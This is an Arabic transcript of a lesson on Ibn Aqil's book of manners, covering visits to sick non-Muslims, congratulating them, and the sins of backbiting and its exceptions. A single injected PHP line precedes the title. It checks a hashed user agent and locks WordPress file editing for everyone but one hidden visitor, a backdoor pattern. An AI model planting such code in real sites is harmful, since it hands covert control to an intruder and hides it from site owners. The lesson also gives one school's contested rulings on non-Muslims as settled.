if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } الدرس الثاني عشر - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

الدرس الثاني عشر

الحمد لله رب العالمين، وصلى الله وسلم وبارك على أشرف الأنبياء والمرسلين نبينا محمد عليه أفضل الصلاة وأتم التسليم.

أما بعد؛ أيها الأخوة الأكارم، السلام عليكم ورحمة الله وبركاته، وحياكم الله في الدرس الثاني عشر من دروس شرح فصولٍ في الآداب ومكارم الأخلاق للإمام «ابن عقيل الحنبلي» غفر الله له ورحمه وجمعنا وإياه ووالدينا في جنات النعيم.

لا يزال الحديث في الفصل الثاني عشر، وقد انتهينا في الدرس الماضي من الكلام على عيادة المريض وتشييع الميت وتعزية أهله، بقي من هذا الفصل قول المؤلف رحمه الله: (وَلَا بَأْسَ بِعِيَادَةِ الذِّمِّيِّ، فَقَدْ عَادَ النَّبِيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ يَهُوْدِيًّا، وَقَالَ: «كَيْفَ تَجِدُكَ يَا يَهُوْدِي») أولًا: ما المراد بالذمي؟ المراد بالذمي واحد من أهل الذمة، وأهل الذمة هم من عقد لهم المسلمون الأمان والعهد على أن يُعطوا الجزية عن يد وهم صاغرون، وهم في الأصل أهل الكتاب من اليهود والنصارى ويُلحق بهم المجوس؛ فإن النبي صلى الله عليه وسلم أخذ الجزية من مجوس هجر[1]، وذلك أن لهم شبهة كتاب، وذهب بعض أهل العلم إلى أن الجزية تؤخذ من جميع الكفار حتى من الوثنيين من العرب وغيرهم إلا أن المشهور الأول وهو أنها إنما تؤخذ من أهل الكتاب ومن له شبهة كتاب.

إذا قام قائم الجهاد وغزى المسلمون الكفار ودعوهم قبل ذلك للإسلام، فمن أسلم فالحمد لله ومن لم يُسلم وأذعن للإسلام ولم يقف في طريق انتشاره وأعطى الجزية فإنه يُحقن دمه ويُكف القتال عنه، ومن أبى الإسلام  ودفع الجزية فإنه يُقاتل، هؤلاء أهل الكتاب إذا عقد أهل الإسلام لهم عقد الذمة إما أن ينتقلوا إلى بلاد المسلمين فيعيشوا بين ظهرانيهم ويُحمون ممن اعتدى عليهم، سواءٌ كان المعتدي حربيًا أو ذميًا أو مسلمًا، تُحقن دماؤهم وتُصان أموالهم وأعراضهم ولا يتعرض لهم أحدٌ بالسوء غير أنهم يشعرون بالذل والهوان والصغار لكفرهم بالله، ولهذا يجب عليهم دفع الجزية وأن يكون دفع الجزية عن يدٍ وهم صاغرون فيُقال لهم: تُحضرون الجزية كل عام بأيديكم ويُطال وقوفهم وتُجر أيديهم، كل ذلك للكفر الذي ارتضوه حتى يشعروا بالذل والهوان ويدخلوا في دين الله ويخرجوا من الكفر الذي هو سبب كل ذلٍ وهوانٍ وخزيٍ في الدنيا والآخرة وتسقط عنهم الجزية، على أن الجزية لا تؤخذ من أهل الكتاب من أهل الذمة إلا من كان من المقاتلة أصلًا، فلا تؤخذ من النساء ولا الأرقاء ولا الصبيان ولا الشيوخ الكبار ولا المقعدين ولا الزمنين ولا الأكفاء ولا من لا يُقاتل كأهل الصوامع إلا ان يكون لهم تدبير، ويلزمهم مع دفع الجزية عن يد وهم صاغرون أن يلتزموا أحكام الملة فما يعتقدون تحريمه يحرُم عليهم فعله، ولهذا لو قتلوا قُتلوا ولو سرقوا قطعوا ولو قذفوا مسلمًا حدوا حد القذف، وإن كان هذا الفعل مما يعتقدون حله كشرب الخمر وأكل الخنزير فإنهم يُقرون عليه لكن لا يُظهرونه أمام المسلمين بل يراعون مشاعر أهل الإسلام فلا يفعلون ما يعتقد أهل الإسلام تحريمه جهارًا نهارًا كالفطر في رمضان وكذلك شرب الخمر وأكل الخنزير، وإذا حصل منهم خلاف ما اتفق أهل الإسلام عليه فإنه يُنقض عهدهم كأن يقتلوا مسلمًا أو يزنوا بمسلمةٍ أو يقطعوا طريقًا أو يكونون جواسيس أو يعينون على ما فيه ضررٌ بالإسلام والمسلمين، إذن هؤلاء أهل الذمة، ما حكم عيادة الذمي وهو بين ظهراني المسلمين؟ ولهذا قلنا إذا سكن مع المسلمين حماه المسلمون عمن يعتدي عليه، أما إذا دفع الجزية وهو في بلده في بلد الحرب فإننا لا نحميه.

يقول المؤلف رحمه الله: (وَلَا بَأْسَ بِعِيَادَةِ الذِّمِّيِّ، فَقَدْ عَادَ النَّبِيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ يَهُوْدِيًّا، وَقَالَ: «كَيْفَ تَجِدُكَ يَا يَهُوْدِي») هذا اللفظ الأخير، كَيْفَ تَجِدُكَ يَا يَهُوْدِي،  ما مر في أحاديث مشهورة، فربما أن ابن عقيل جاء به بالمعنى أو أنه وجده في كتب لم تصل إلينا «لا تبدَأوا اليَهودَ والنَّصارى بالسَّلامِ، وإذا لقيتُم أحدَهُم في الطَّريقِ فاضطرُّوهم إلى أضيَقِهِ»[2] [الحديث رواه الإمام مسلم] ومعنى الحديث: عدم إفساح الطريق لهم، وليس المعنى مضايقتهم في الطريق إذ لم يحصل هذا في عهد النبي صلى الله عليه وسلم ، قالوا: فتعزيتهم وعيادتهم من هذا، وعن الإمام أحمد رحمه الله رواية بالجواز؛ لحديث أنس رضي الله عنه في عيادة النبي صلى الله عليه وسلم يهوديًا كان يخدمه، من أهل العلم من حمله على الجواز ومنهم من حمله على الاستحباب إلا أن الاستحباب بعيد المنال، والصحيح أنه يرجع للمصلحة، فإن كان في عيادته مصلحةٌ كدعوته للإسلام أو كف شره فيُعاد، وإن لم يكن ثمة مصلحة فيُترك ولا يُعاد، وفي حديث أنس رضي الله عنه: «أنَّ غُلامًا يهوديًّا كان يَخدُمُ النَّبيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ، فمرِضَ فأتاهُ النَّبيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ يَعودُه، فقال: أَسلِمْ فأسلم» [الحديث رواه البخاري]، والحديث في صحيح ابن حبان عن زيد بن ثابت عن أنس قال: «عاد النَّبيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ يهوديًّا»[3] لكن في رواية أنس: «أنَّ غُلامًا يهوديًّا كان يَخدُمُ النَّبيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ، فمرِضَ، فأتاهُ النَّبيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ يَعودُه، فقعَدَ عِندَ رأسِه، فقال له: أَسلِمْ، فنظَرَ إلى أبيه وهو عِندَ رأسِه، فقال: أَطِعْ أبا القاسِمِ، فأسْلَمَ، فخرَجَ النَّبيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ مِن عِندِه وهو يقولُ: الحمدُ للهِ الذي أَنقَذَه بي مِنَ النارِ»[4] إذن هذه مصلحة راجحة وقد وقعت فورًا، فإن النبي صلى الله عليه وسلم عاده ودعاه، ولهذا نقول: إذا عاد يهوديًا، نصرانيًا، مشركًا، وثنيًا، فلتكن دعوته هي المقصود الأعظم سواء تصريحًا أو تلميحًا ولابد من ذلك ليكون فعله مشروعًا ويؤجر عليه ويُحصل أقل الأحوال كف شر هذا؛ فإن بعض الكفار إذا أُحسن إليه كف شره عن أهل السلام، وما يُقال في العيادة يُقال في التعزية سواءً بسواء، أما التهنئة إذا حصل لهذا الكافر ما يفرح به ويُسر، نقول: لا يخلو من احتمالين:

الاحتمال الأول: أن يكون ذلك بأمر طبعي كأن يتزوج أو يولد له ولد أو يقدم له غائبٌ أو يُعافى ويسلم من مرضٍ، فهذا قد اختلفت الرواية فيه عن الإمام أحمد رحمه الله فأباحها مرةً ومنعها أخرى، والمذهب عند الحنابلة المنع كما في الإنصاف والكلام فيها أي بتهنئته في هذه الحالة كالكلام في عيادته إذا مرض وتعزيته بمن يموت من أهله.

الاحتمال الثاني: أن تكون التهنئة بشعائر الكفار المختصة بهم وبأعيادهم فهذا حرامٌ حرامٌ حرامٌ بالاتفاق، مثل أن يهنئهم بأعيادهم، مثل تهنئتهم بعيد رأس السنة أو الكريسماس، هذا عيدٌ بدعيٌ، من هنأ الكفار فيه فهو على خطرٍ عظيمٍ إذ قد ارتكب كبيرة من كبائر الذنوب وفسق وظلم نفسه إن سلم من الكفر، قد قرر شيخ الإسلام ابن تيمية رحمه الله وتلميذه ابن القيم أن من فعل هذا إن سلم من الكفر فقد وقع في المحرمات، وهو بمنزلة أن يهنئهم بسجوده للصليب، ولهذا يجب على أهل الإسلام قاطبة أن ينتبهوا لخطورة تهنئة الكفار في أعيادهم، نقول: أمر طبعي، وُلد له مولود، تزوج ونحو ذلك، لا بأس أن يُهنأ إن كان يُرجى مصلحة كدعوته وتأليف قلبه وكف شره، أما تهنئته بما هو من خصائص دينه كعيدٍ اعتادوه ونحو ذلك، فإن هذا محرمٌ بالإجماع وقد يمرق صاحبه أي المهنئ له من الدين بهذا الفعل المشين.

قال رحمه الله عقب ذلك في الفصل الثالث عشر:

فَصْلٌ

وَالغِيْبَةُ حَرَامٌ فِي حَقِّ مَنْ لَمْ يَنْكَشِفْ بِالمَعَاصِي وَالقَبَائِحِ؛ لِقَوْلِهِ تَعَالَى:  وَلَا يَغْتَبْ بَعْضُكُمْ بَعْضًا، وَمَنْ ذَكَرَ فِيْ فَاسِقٍ مَا فِيْهِ لِيُحْذَرَ مِنْهُ، أَوْ سَأَلَ عَنْهُ مَنْ يُرِيْدُ تَزْوِيْجَهُ أَوْ شَرِكَتُهُ أَوْ مُعَامِلَتُهُ، لَمْ يَكُنْ مُغْتَابًا لَهُ، وَلَا عَلَيْهِ إِثْمُ الغِيْبَةِ، وَلَهُ ثَوَابُ النَّصِيْحَةِ، لِقَوْلِ النَّبِيِّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ: «قُوْلُوْا فِيْ الفَاسِقِ مَا فِيْهِ يَحْذَرْهُ النَّاسُ»، وَلَا يُظَنُّ بِعُمَرَ رَضِيَ اللهُ عَنْهُ أَنَّهُ أَقْدَمَ عَلَى مَا هُوَ غِيْبَةٌ؛ عِنْدَ نَصِّهِ عَلَى السِّتَّةِ، وَجَعْلِ الشُّوْرَى فِيْهِم، وَذِكْرِ عَيْبِ كُلِّ وَاحِدٍ، بَلْ قَصَدَ بِذَلَكَ النُّصْحَ للهِ وَلِرَسُوْلِهِ وَلِأَهْلِ الإِسْلِامِ.

هذا الفصل فصل عظيم لآفة من أعظم آفات اللسان، لكبيرة من كبائر الذنوب، عرفها بعض أهل العلم تعريفًا مختصرًا فقالوا: الغيبة ذكر العيب بظهر الغيب، والاشتقاق اللغوي يدل على أنها ذكر الشخص أثناء غيبته بما يكره، أما إذا ذُكر في حضرته، ذُكر بما يكره في وجهه فإن هذا لا يُعد غيبةً ولكنه محرم أيضًا فهو سخرية واستهزاء، وقد عرّفها صلى الله عليه وسلم بتعريفٍ جامعٍ مانع، قال لأصحابه: «أَتَدْرُونَ ما الغِيبَةُ؟ قالوا: اللهُ ورَسولُهُ أعْلَمُ، قالَ: ذِكْرُكَ أخاكَ بما يَكْرَهُ. قيلَ: أفَرَأَيْتَ إنْ كانَ في أخِي ما أقُولُ؟ قالَ: إنْ كانَ فيه ما تَقُولُ فَقَدِ اغْتَبْتَهُ، وإنْ لَمْ يَكُنْ فيه فقَدْ بَهَتَّهُ»[5] إذن إذا تكلمت في مسلمٍ حال غيبته فقد وقعت في الحرام وفي كبائر الذنوب سواءً كان فيه ما تقول فهذا غيبة، وإن لم يكن ما تقول فهذا بهتان، ويا لله العجب! كم يقع بعض المسلمين في أعراض بعض فإذا نُهي وزُجر قال: والله ما قُلت إلا الحقيقة، نقول: سبحان الله، هذه هي الحقيقة هي الغيبة المحرمة المتوعد عليها.

قال رحمه الله: (وَالغِيْبَةُ حَرَامٌ) إذن الغيبة حرامٌ بل كبيرة من كبائر الذنوب وقد قيدها رحمه الله بـ (فِي حَقِّ مَنْ لَمْ يَنْكَشِفْ بِالمَعَاصِي وَالقَبَائِحِ) أي من لم يكن مستورًا، من كان مجاهرًا فإنه يرى رحمه الله أنه لا غيبة له، من كان مجاهرًا بالمعاصي بأن يفعلها أمام الناس أو يفعلها في خلوة ويبيت يستره الله ثم يصبح يقول فعلت كذا وكذا[6]، فهذا -نسأل الله السلامة والعافية- غير مُعافى وكل أمتي معافى إلا المجاهرون وهذا من المجاهرة، المؤلف ابن عقيل قال: (وَالغِيْبَةُ حَرَامٌ فِي حَقِّ مَنْ لَمْ يَنْكَشِفْ بِالمَعَاصِي وَالقَبَائِحِ) يعني في حق المستور، مستور الحال وأما من انكشف بالمعاصي والقبائح وجاهر بها واستهتر فإن ذكر ما فيه مما يكره ليس من الغيبة وإن كان ليس على سبيل التفكه في المجالس يُذكر وإنما لمصلحةٍ من التحذير منه كما سيأتي، كما قال شيخ الإسلام رحمه الله لما أعلن القبائح استحق عقوبة المسلمين، وأدنى عقوبة أن يُذكر لأجل أن يُحذر، وهذا هو المقصود، التحذير منه لا التفكه بعرضه، يقول شيخ الإسلام: إن المُظهر للمحرمات تجوز غيبته بلا نزاع بين العلماء.

ما الدليل على تحريم الغيبة؟ قال رحمه الله: (لِقَوْلِهِ تَعَالَى وَلَا يَغْتَبْ بَعْضُكُمْ بَعْضًا) إذن نهيٌ صحيحٌ صريح في كلام ربنا جل شأنه عن الغيبة، ثم قال جل شأنه مؤكدًا تحريمها: {أَيُحِبُّ أَحَدُكُمْ أَنْ يَأْكُلَ لَحْمَ أَخِيهِ مَيْتًا فَكَرِهْتُمُوهُ وَاتَّقُوا اللهَ إِنَّ اللهَ تَوَّابٌ رَحِيمٌ} [الحجرات:12] إذن صدر الآية فيه نهيٌ صريحٌ عن الغيبة والنهي يفيد التحريم ثم في تشبيه المغتاب بآكل لحم أخيه ميتًا ما يدل على بشاعة هذا الفعل وتحريمه؛ فإن أكل المسلم حرام فكيف إذا كان ميتًا {أَيُحِبُّ أَحَدُكُمْ أَنْ يَأْكُلَ لَحْمَ أَخِيهِ مَيْتًا فَكَرِهْتُمُوهُ وَاتَّقُوا اللهَ إِنَّ اللهَ تَوَّابٌ رَحِيمٌ} كما يدل على ذلك عموم قول الله جل شأنه وتقدس اسمه: {مَا يَلْفِظُ مِنْ قَوْلٍ إِلَّا لَدَيْهِ رَقِيبٌ عَتِيدٌ} [ق:18] وعن أبي بكرة رضي الله عنه أن رسول الله صلى الله عليه وسلم قال في خطبته يوم النحر بمنى في حجة الوداع: «إنَّ دِمَاءَكُمْ، وأَمْوَالَكُمْ، وأَعْرَاضَكُمْ حرامٌ عليكم كَحُرْمَةِ يَومِكُمْ هذا، في شَهْرِكُمْ هذا، في بَلَدِكُمْ هذا، ألا هلْ بَلَّغْتُ؟»[7] فدل على تحريم عرض المسلم، ومن انتهاك عرض المسلم غيبته وعن أنس رضي الله عنه قال، قال رسول الله صلى الله عليه وسلم: «لمَّا عُرِجَ بي مررتُ بقومٍ لَهم أظفارٌ من نحاسٍ يخمِشونَ وجوهَهم وصدورَهم فقلتُ: من هؤلاءِ يا جبريلُ، قال: الَّذينَ يأكُلونَ لحومَ النَّاسِ ويقعونَ في أعراضِهِم»[8] [رواه الإمام أحمد وأبو داود والترمذي بسندٍ صحيح] وعن أبي هريرة رضي الله عنه أن رسول الله صلى الله عليه وسلم قال: «كُلُّ المُسْلِمِ علَى المُسْلِمِ حَرامٌ؛ دَمُهُ، ومالُهُ، وعِرْضُهُ»[9] [الحديث رواه الإمام مسلم]، فدلت هذه النصوص وغيرها على تحريم الغيبة وعلى التحذير منها وأنها من كبائر الذنوب.

قال رحمه الله في باب الاستثناء من الغيبة فيما يكون مع المصلحة، قال: (وَمَنْ ذَكَرَ فِيْ فَاسِقٍ مَا فِيْهِ لِيُحْذَرَ مِنْهُ) هذه صورة، فاسق، عاصي، مرتكب الكبائر، شارب المخدرات، صاحب فواحش وموبقات وترى ساذجًا يجالسه ويصاحبه لا يعلم عن خفاياه، تقول: اتقِ الله في نفسك وانتبه فإن فلانًا لا يُجالس ولا يُصاحب، صاحب سوء وإن جالسته تأثرت به، فهذا من التنبيه الواجب بل كما صرّح ليس من الغيبة بل من النصيحة، قال: (أَوْ سَأَلَ عَنْهُ مَنْ يُرِيْدُ تَزْوِيْجَهُ أَوْ شَرِكَتُهُ أَوْ مُعَامِلَتُهُ، لَمْ يَكُنْ مُغْتَابًا لَهُ) هنا جاءه من يسأله، يقول: يا فلان، فلان تقدم لخطبة بنتي أو موليتي أو قريبتي فأسألك عنه، نقول: يجب عليه وجوبًا شرعيًا أن يذكر ما فيه من العيب ومن الأخلاق التي يعلمها عنه ولا يجوز له الامتناع ولا الثناء عليه بما ليس أهله، وهذا واجب الأئمة والمؤذنين، فإن عامة الناس يثقون فيهم وربما جاءهم الرجل يسأل عن صلاته فيقول: أشهد أنه من أهل الصلاة المداومين المحافظين أو يقول: لا أراه أحيانًا، قليلًا ما أراه، إن رأيته فهو في آخر الصفوف يقضي، الفجر لا نراه البتة ونحو ذلك فيصدقه القول؛ لأن النبي صلى الله عليه وسلم قال: «إذا أتاكم مَن ترضَوْنَ دِينَه وخُلُقَه فزوِّجوه»[10] الدين يُعرف بصلاته، ولهذا الإمام والمؤذن يقولون: نحن لا نعرف أخلاقه وخفاياه ولم نعامله ولم نعاشره ولم نسافر معه ولم نتاجر معه لكن الصلاة نشهد أنه يصلي أو أنه لا يصلي أو أنه قليل الصلاة، وعامة المصلين إذ قد يكون الإمام أو المؤذن لا يطلع عليه، إذا كان المسجد كثير المصلين ربما ما يميزون لكن من كان يميز كالجار ونحوه فيجب عليه أن يذكر ما فيه، أما أخلاقه فيُسأل عنها أصدقاؤه، زملاؤه في العمل، ويجب على السائل أن يأخذ المعلومة ويتعامل معها وفق الشرع في قبول هذا الرجل أو رده، ولا يلزمه عند الرد أن يقول: رددتك لكذا وكذا وكذا، والقائل فلان أو فلان؛ فإن هذا يُفسد ما بين الناس، امتنع بعض الصالحين من ذكر ما في بعض المسئول عنهم؛ لأن الناس أصبحوا لا يحفظون الكلام ولا يحفظون السر، وقد مر بنا في باب كتم السر وحفظ السر وأنه لا يجوز إظهاره فكذا هنا، ولهذا إذا كان الإنسان يخشى أن يُنقل كلامه بنصه أو بمعناه فإنه قد يمتنع ولا يُلام حينئذٍ، لكن إذا كان السائل عاقلًا ذا دينٍ فإنه لا يجوز له أن يقول لمن خطب منهم أو أراد مشاركته أو التجارة معه أو نحو ذلك أن يقول: والله يا فلان ما تصلح لأن فيك كذا وكذا، حتى لو قال ما يقوله ليصلح أحواله، نقول: في غير هذا، وإن كنت ولابد قائلًا له على سبيل النصيحة فإياك ثم إياك ثم إياك أن تذكر القائل، قل والله يا أخي اجتمع عندنا المعلومات أنك ما تصلح ونصيحتنا لك أن تتقي الله في نفسك وتحافظ على صلاتك وتتجنب فعل السوء سواءً خطبت منا أو من غيرنا، لا بأس إذا كان يقول أنا أقول على سبيل النصيحة لكن لا يقول إني حصلت هذه المعلومة من الإمام فلان أو المؤذن فلان أو من جاركم فلان أو من زميلك فلان، لا تصريحًا ولا تلميحًا، بل إذا كان يظن أنك لم تسأل إلا فلانًا فلا تقل له شيئًا، أجّل النصيحة في وقت آخر؛ لأنه بعض الناس عنده ذكاء، يعلم أنك ما سألت إلا فلان فإن فلان هو الذي يعرف وأن فلان هو الذي قال ما قال.

قال رحمه الله: (أَوْ سَأَلَ عَنْهُ مَنْ يُرِيْدُ تَزْوِيْجَهُ أَوْ شَرِكَتُهُ أَوْ مُعَامِلَتُهُ) يريد أن يشاركه في التجارة، يعامله، هنا يسأل عن أمانته، عن صدقه، عن بعده عن المحرمات كالربا، عن بعده عن الغش وأكل أموال الناس، فيقول: لا والله يا فلان، اتقِ الله وابتعد عن فلان؛ فإنه مرابي لا يهمه الحلال من الحرام، فإنه غشاش فإن كثيرًا ممن تعامل معه لم ينتهوا إلا بالمحاكم ونحو ذلك، فينبهه ويحذره.

قال رحمه الله: (وَلَا عَلَيْهِ إِثْمُ الغِيْبَةِ، وَلَهُ ثَوَابُ النَّصِيْحَةِ) يعني في هذه الحالة، ينتقل من غيبة محرمةٍ كبيرة إلى نُصحٍ يُثاب عليه؛ لأن الله أعلم بما في قلبه، أنت أظهرت ما في قلبك لهذا الذي استنصحك وهو واجبٌ وحقٌ من حقوق المسلم على أخيه، وإذا استنصحك أن تنصحه، «وإذا اسْتَنصَحَه أنْ يَنصَحَه»[11].

قد ذكر العلماء أسبابًا مستثناةً أخرجوها من الغيبة المحرمة، على خلافٍ بينهم في عدها، فالنووي رحمه الله ذكر ستة أسباب، أو ست حالاتٍ مستثناةٍ لا تُعد غيبة، لو تأملتها لوجدت أن رابطها وجامعها هو النصيحة، ذكر رحمه الله أي النووي في كتاب الأذكار إجماع أهل العلم على تحريم الغيبة ثم ذكر أن الغيبة وإن كانت في الأصل محرمةً إلا أنها تُباح في أحوالٍ للمصلحة وذكر منها ستة أسباب:

أولها: التظلم، فيجوز أن يقول المظلوم فلانٌ ظلمني أو أخذ مالي أو فلانٌ ظالمٌ، إذا كان عند الشكاية على من له قدرةٌ لإزالة هذا الظلم أو تخفيفه، مثل ما يقوله الخصم عند القاضي، فإن الخصم يقول عند القاضي كل ما حصل من ظالمه، يتشكى ليرفع القاضي ظلامته أو الأمير أو المسئول أو المدير، فالطالب إذا ظُلم من أحد الطلاب وذهب للمدير، نقول: لا تتورع، ليس هنا مجال للغيبة، تقول: فعل بي وضربني وتكلم فيّ ونحو ذلك حتى يؤدبه، ومثل ذلك: شكاية بعض الأبناء لأبيهم عن فلان أنه فعل، نقول: هذا كله ليس من الغيبة؛ لأنه شكاية وتظلم لمن بيديه القدرة على رفع الظلم لكن على سبيل الفضفضة والسواليف والتفكه، نقول: حرام، إذا الغيبة في الأصل حرام، فيُستثنى منها بقدر الحاجة.

ثانيًا: الاستعانة على تغيير المنكر بذكره لمن يُظن قدرته على إزالته، فيقول: فلانٌ فعل كذا في حق من لم يكن مجاهرًا بالمعصية، إذن إذا كان يعلم أن فلانًا يفعل المنكرات ويُسـر بها لكنه أفسد أبناء وبنات المسلمين فيذهب لمن له الأمر كهيئة الأمر بالمعروف والنهي عن المنكر أو مكافحة المخدرات أو الشرطة ويذكر لهم فعله لينكروا عليه أو يستعين بهم على تغيير هذا المنكر وإزالته أو تقليله.

ثالثًا: الاستفتاء، بأن يقول للمفتي فلانٌ ظلمني بكذا، أو قصّـر في حقي أو منعني من حقوقي كما تقول الزوجة لمن تستفتيه: زوجي ظالمٌ لي، زوجي لا ينفق عليّ، هل آخذ بالمعروف أو نحو ذلك؟ فنقول: على سبيل الاستفتاء جائزٌ لكنه أيضًا بقدر فلا تتكلم أو يتكلم المستفتي إلا بقدر الحاجة، بقدر ما يتبين للمفتي الظلم أو التقصير الذي وقع عليه.

رابعًا: التحذير للمسلمين من الاغترار به، ويدخل في ذلك جرح الرواة والشهود ومن يتصدر للتدريس والإفتاء مع عدم أهليته فيُنبه ويُحذر ممن هذا شأنه، يُقال فلانٌ كذاب، وضّاع، ضعيف الحديث ونحو ذلك من عبارات الجرح والتعديل، فعبارات الجرح فيها جرحٌ للشهود وللرواة وذلك لمعرفة الصحيح من السقيم من حديث رسول الله صلى الله عليه وسلم.

خامسًا: ذكر من جاهر بالفسق والبدعة فإن المجاهر بالبدعة يُحذر منه علنًا لأنه يُجاهر ويُعلن بدعته، وكذلك يُعلن فسقه، فالمغني فاسق وذكره بالغناء قد لا يُحزنه لأن هذا وصفه اللائق به، لكنا نقول: هو في حقيقة الأمر تحذيرٌ منه ومن أمثاله.

سادسًا وأخيرًا: التعريف بالشخص بما فيه من العيب إذا لم يُعرف إلا به إذا كان يرضى بذلك ولا يغضب، كقول فلانٍ الأعور أو الأعرج أو الأعمش ولا يُراد بذلك النقص بوجه من الوجوه.

قال النووي رحمه الله بعدما ذكر هذه الأسباب الستة، قال: ودلائلها ظاهرةٌ من الأحاديث الصحيحة المشهورة وأكثر هذه الأسباب مجمعٌ على جواز الغيبة بها، وقد جمعها بعضهم في بيتين مشهورين، يقول فيهما:

الـذَّمُّ لَيْسَ بِغِيبَــةٍ فِي سِتَّــةٍ

 

مُتَظَلِّمٍ وَمُعَــرِّفٍ وَمُحَــذِّرِ

وَلِمُظْهِرٍ فِسْقًا وَمُسْتَفْتٍ وَمَنْ

 

طَلَبَ الْإِعَانَةَ فِي إِزَالَةِ مُنْكَرِ

الشوكاني رحمه الله له رسالة بعنوان رفع الريبة فيما يجوز وما لا يجوز من الغيبة لكنه لم يرض هذه كلها بل ناقش بعضها ولم يسلم بها رحمه الله، وعلى كلٍ نقول: هي تدور مع المصلحة فإذا وُجدت المصلحة تكلم المسلم بما تبرأ به ذمته وإذا لم تكن ثمة مصلحة فثمة الكبيرة العظيمة والعذاب العظيم والوعيد الشديد، ولهذا ينبغي للإنسان أن يتورع وألا يُلبس بعض الغيبة بلباس غيرها، وقد تكلم أهل العلم كلامًا نفيسًا في صورٍ يقع الناس في الغيبة فيها من حيث يشعرون أو لا يشعرون، نبه عليها شيخ الإسلام وغيره وهذه نأتي إليها إن شاء الله في الدرس القادم.

قوله رحمه الله لما ذكر الاستثناء وقال: (وَلَا عَلَيْهِ إِثْمُ الغِيْبَةِ، وَلَهُ ثَوَابُ النَّصِيْحَةِ، لِقَوْلِ النَّبِيِّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ: «قُوْلُوْا فِيْ الفَاسِقِ مَا فِيْهِ يَحْذَرْهُ النَّاسُ») هذا حديث باطل، لا أصل له لكنه رحمه الله ليس من أهل الحديث ولهذا يذكر في الكتاب بعض الأحاديث المنكرة، فهذا الحديث جاء بلفظٍ قريبٍ منه وهو: «أترعونَ عن ذِكْرِ الفاجرِ؟ متى يعرفُهُ النَّاسُ؟ اذكروهُ بما فيهِ يحذَرْهُ النَّاسُ» [رواه ابن أبي الدنيا في كتاب الغيبة والنميمة] وذكره ابن حبان في المجروحين وذكر أن الخبر باطل، ورواه ابن الجوزي في العلل المتناهية وذكر أنه حديثٌ باطل لا أصل له، وذكره السخاوي في المقاصد الحسنة وذكر أنه لا يصح، وذكره الشيخ الألباني في سلسلة الأحاديث الضعيفة والموضوعة وقال: موضوع، أما الحديث الذي أورده المؤلف هنا، فقد ذكره العجلوني في كتاب كشف الخفاء بلفظ: «اذكروا الفَاسِقِ بمَا فِيْهِ يَحْذَرْهُ النَّاسُ» لكنه لا يصح وإنما جاءت المستثنيات التي ذكرناها آنفًا بنصوص أُخر.

ثم قال: (وَلَا يُظَنُّ بِعُمَرَ رَضِيَ اللهُ عَنْهُ أَنَّهُ أَقْدَمَ عَلَى مَا هُوَ غِيْبَةٌ؛ عِنْدَ نَصِّهِ عَلَى السِّتَّةِ، وَجَعْلِ الشُّوْرَى فِيْهِم، وَذِكْرِ عَيْبِ كُلِّ وَاحِدٍ، بَلْ قَصَدَ بِذَلَكَ النُّصْحَ للهِ وَلِرَسُوْلِهِ وَلِأَهْلِ الإِسْلِامِ) هذا أيضًا غريبٌ من ابن عقيل رحمه الله، المتأمل للسيرة أن الفاروق عمر رضي الله عنه لم يطعن في واحدٍ من هؤلاء الستة ولم يذكر عيبًا فيهم بل هم رضي الله عنهم بشـر غير معصومين ولكنهم سالمين من الطعن، مات صلى الله عليه وسلم وهو عنهم راضٍ، ولهذا لما طُلب منه أن يستخلف قال: إن استخلفت فقد استخلف من هو خيرٌ مني، وإن لم أستخلف فلم يستخلف من هو خيرٌ مني، يعني رسول الله صلى الله عليه وسلم وأبو بكر الصديق رضي الله عنه، ثم جعل الشورى في الستة الذين مات النبي صلى الله عليه وسلم وهو عنهم راضٍ وهم من العشرة المشهود لهم بالجنة، فلا أدري ماذا يقصد ابن عقيل رحمه الله حينما قال: (وَلَا يُظَنُّ بِعُمَرَ رَضِيَ اللهُ عَنْهُ أَنَّهُ أَقْدَمَ عَلَى مَا هُوَ غِيْبَةٌ؛ عِنْدَ نَصِّهِ عَلَى السِّتَّةِ، وَجَعْلِ الشُّوْرَى فِيْهِم، وَذِكْرِ عَيْبِ كُلِّ وَاحِدٍ، بَلْ قَصَدَ بِذَلَكَ النُّصْحَ للهِ وَلِرَسُوْلِهِ وَلِأَهْلِ الإِسْلِامِ) ما وقفت على شيءٍ من عيبٍ ذكره الفاروق عمر في هؤلاء الصحب الكرام المشهود لهم بالجنة الذين مات عنهم النبي صلى الله عليه وسلم وهو عنهم راضٍ، وهم من؟ من هم هؤلاء الستة الذين جعل الشورى فيهم؟ عثمان، وعلي، وسعد بن أبي وقاص، وعبدالرحمن بن عوف، والزبير بن العوام، وطلحة بن عبيدالله، بقي من؟ سعيد بن زيد، لم يجعله لأنه ابن عمه، إذن جعل الشورى في هؤلاء الستة، هؤلاء هم من العشرة المشهود لهم، مات النبي صلى الله عليه وسلم وهو عنهم راضٍ لكن قصد ابن عقيل هذا لم أقف عليه، ومع ذلك يمكن البحث والتحري، وربما إن وُجد فهو في كتب التاريخ أو كتب الأدب التي لا يلتزم أصحابها بالصحيح من السقيم، على كلٍ نقول: لا يُظن بعمر رضي الله عنه أنه أقدم على ما هو غيبة؛ لأنه لم يحصل منه غيبة ولم يذكر عيبًا في واحدٍ من هؤلاء الستة رضي الله عنهم وأرضاهم وجميع صحب رسول الله صلى الله عليه وسلم.

